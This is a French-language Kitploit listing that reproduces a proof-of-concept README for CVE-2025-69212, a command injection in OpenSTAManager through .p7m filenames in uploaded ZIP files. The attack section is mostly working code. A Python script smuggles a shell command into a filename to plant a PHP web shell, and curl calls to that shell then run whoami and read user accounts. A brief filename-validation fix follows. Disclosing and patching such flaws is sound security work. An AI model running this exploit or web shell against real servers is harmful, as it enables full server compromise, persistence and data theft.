Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
OpenSTA-Exploit — Preuve de concept (PoC) de CVE-2025-69212 liée au traitement de fichiers P7M. | Kitploit
Outils/GitHubGitHub/lolw0/opensta-exploit
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHublolw0/opensta-exploit

OpenSTA-Exploit

Preuve de concept (PoC) de CVE-2025-69212 liée au traitement de fichiers P7M.

Voir le dépôt
17il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

OpenSTA-Exploit

image

DonnéeDétail
ID CVECVE-2025-69212
Score de vulnérabilitécritique (9.4)
CWE78 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande OS
Versions affectéesOpenSTAManager <= 2.9.8
Vecteur d'attaquetéléverser un fichier ZIP contenant un fichier .p7m avec un nom de fichier malveillant
AuthentificationRequise
Impactexécuter des commandes système arbitraires sur le serveur

Explication de l'exploit

  1. Stocke une commande shell dans la variable cmd (qui crée un fichier nommé SHELL.php contenant du code PHP capable d'exécuter des commandes).
  2. Construit un nom de fichier spécialement conçu pour masquer la commande issue de la variable cmd et l'enregistre dans la variable malicious_file.
  3. Crée un nouveau fichier ZIP nommé exploit.zip et l'ouvre en écriture.
  4. Ajoute un fichier au ZIP. Son nom de fichier est la variable malicious_file.
  5. Le nom de fichier malveillant est injecté dans la commande exec().

PoC (Proof of Concept)

1. Créer le fichier zip à injecter

import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. Exécuter le fichier & téléverser

lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
image

image

3. Résultat de l'exploit

L'analyse XML échoue après l'exécution de la commande

HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

4. Vérification & exécution de code à distance

lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin



Mène à...

AttaqueDétail
Exécution de code à distanceCompromission totale du serveur avec exécution de commandes
Exfiltration de donnéesAccès à toutes les données de l'application et à la base de données
Élévation de privilègesÉlévation potentielle si le serveur web s'exécute avec des privilèges élevés ou est vulnérable
PersistanceInstaller des portes dérobées et maintenir l'accès dans le temps
Mouvement latéralPivot vers d'autres systèmes/utilisateurs sur le réseau

Correctif

**un correctif simple consiste à valider les noms de fichiers avant le traitement (n'autoriser que les caractères alphanumériques, les points, les tirets et les underscores pour ignorer les noms de fichiers invalides)

foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(ou vous pouvez simplement mettre à jour lol)

Télécharger l’outil